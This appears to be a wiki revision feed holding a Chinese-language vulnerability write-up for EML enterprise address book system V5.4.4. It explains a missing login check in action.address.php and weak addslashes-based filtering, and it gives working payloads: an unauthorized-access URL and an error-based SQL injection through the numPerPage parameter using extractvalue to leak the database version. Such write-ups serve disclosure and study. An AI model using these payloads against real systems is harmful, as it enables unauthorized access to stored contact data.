<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=EML%E4%BC%81%E4%B8%9A%E9%80%9A%E8%AE%AF%E5%BD%95%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%E7%BB%8F%E5%85%B8%E7%89%88V5.4.4_%E6%9C%AA%E6%8E%88%E6%AC%8A%E8%A8%AA%E5%95%8F%26SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>EML企业通讯录管理系统经典版V5.4.4 未授權訪問&amp;SQL注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=EML%E4%BC%81%E4%B8%9A%E9%80%9A%E8%AE%AF%E5%BD%95%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%E7%BB%8F%E5%85%B8%E7%89%88V5.4.4_%E6%9C%AA%E6%8E%88%E6%AC%8A%E8%A8%AA%E5%95%8F%26SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=EML%E4%BC%81%E4%B8%9A%E9%80%9A%E8%AE%AF%E5%BD%95%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%E7%BB%8F%E5%85%B8%E7%89%88V5.4.4_%E6%9C%AA%E6%8E%88%E6%AC%8A%E8%A8%AA%E5%95%8F%26SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-21T07:36:42Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=EML%E4%BC%81%E4%B8%9A%E9%80%9A%E8%AE%AF%E5%BD%95%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%E7%BB%8F%E5%85%B8%E7%89%88V5.4.4_%E6%9C%AA%E6%8E%88%E6%AC%8A%E8%A8%AA%E5%95%8F%26SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=1644&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==未授權訪問==  &lt;code&gt;action/action.address.php&lt;/code&gt; &lt;pre&gt; header(&quot;Content-type: text/html; charset=utf-8&quot;);  if(!defined('CORE'))exit(&quot;error!&quot;);   ..... &lt;/pre&gt;  頁面...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=EML%E4%BC%81%E4%B8%9A%E9%80%9A%E8%AE%AF%E5%BD%95%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%E7%BB%8F%E5%85%B8%E7%89%88V5.4.4_%E6%9C%AA%E6%8E%88%E6%AC%8A%E8%A8%AA%E5%95%8F%26SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=1644&amp;oldid=prev"/>
		<updated>2021-04-14T04:27:16Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==未授權訪問==  &amp;lt;code&amp;gt;action/action.address.php&amp;lt;/code&amp;gt; &amp;lt;pre&amp;gt; header(&amp;quot;Content-type: text/html; charset=utf-8&amp;quot;);  if(!defined(&amp;#039;CORE&amp;#039;))exit(&amp;quot;error!&amp;quot;);   ..... &amp;lt;/pre&amp;gt;  頁面...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==未授權訪問==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;action/action.address.php&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
header(&amp;quot;Content-type: text/html; charset=utf-8&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
if(!defined('CORE'))exit(&amp;quot;error!&amp;quot;); &lt;br /&gt;
&lt;br /&gt;
.....&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
頁面未加用戶是否登錄判斷，打開頁面是普通用戶權限。 （系統是可以註冊的。）&lt;br /&gt;
&lt;br /&gt;
==SQL注入==&lt;br /&gt;
&amp;lt;code&amp;gt;lib/func.class.php&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function _RunMagicQuotes(&amp;amp;$svar){&lt;br /&gt;
	if(!get_magic_quotes_gpc())	{&lt;br /&gt;
		if( is_array($svar) ){&lt;br /&gt;
			foreach($svar as $_k =&amp;gt; $_v) $svar[$_k] = _RunMagicQuotes($_v);&lt;br /&gt;
		}else{&lt;br /&gt;
			$svar = addslashes($svar);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	return $svar;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
過濾的函數_RunMagicQuotes，判斷是否開啟了get_magic_quotes_gpc，如果開啟就用gpc過濾，如果沒有開啟用addslashes過濾。 5.4.0 始終返回 FALSE，因為這個魔術引號功能已經從 PHP 中移除了。&lt;br /&gt;
&lt;br /&gt;
==漏洞利用==&lt;br /&gt;
&lt;br /&gt;
===未授權訪問Payload===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://192.168.116.138/eml/index.php?action=address&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===SQL注入Payload===&lt;br /&gt;
get方法,判斷注入是否存在:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://192.168.116.138/eml/index.php?action=address&amp;amp;pageNum=/1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
post方法：&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://192.168.116.138/eml/index.php?action=address&amp;amp;pageNum=0&lt;br /&gt;
&lt;br /&gt;
numPerPage=1 procedure analyse(1,extractvalue(rand(),concat(0x7e,version())));&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>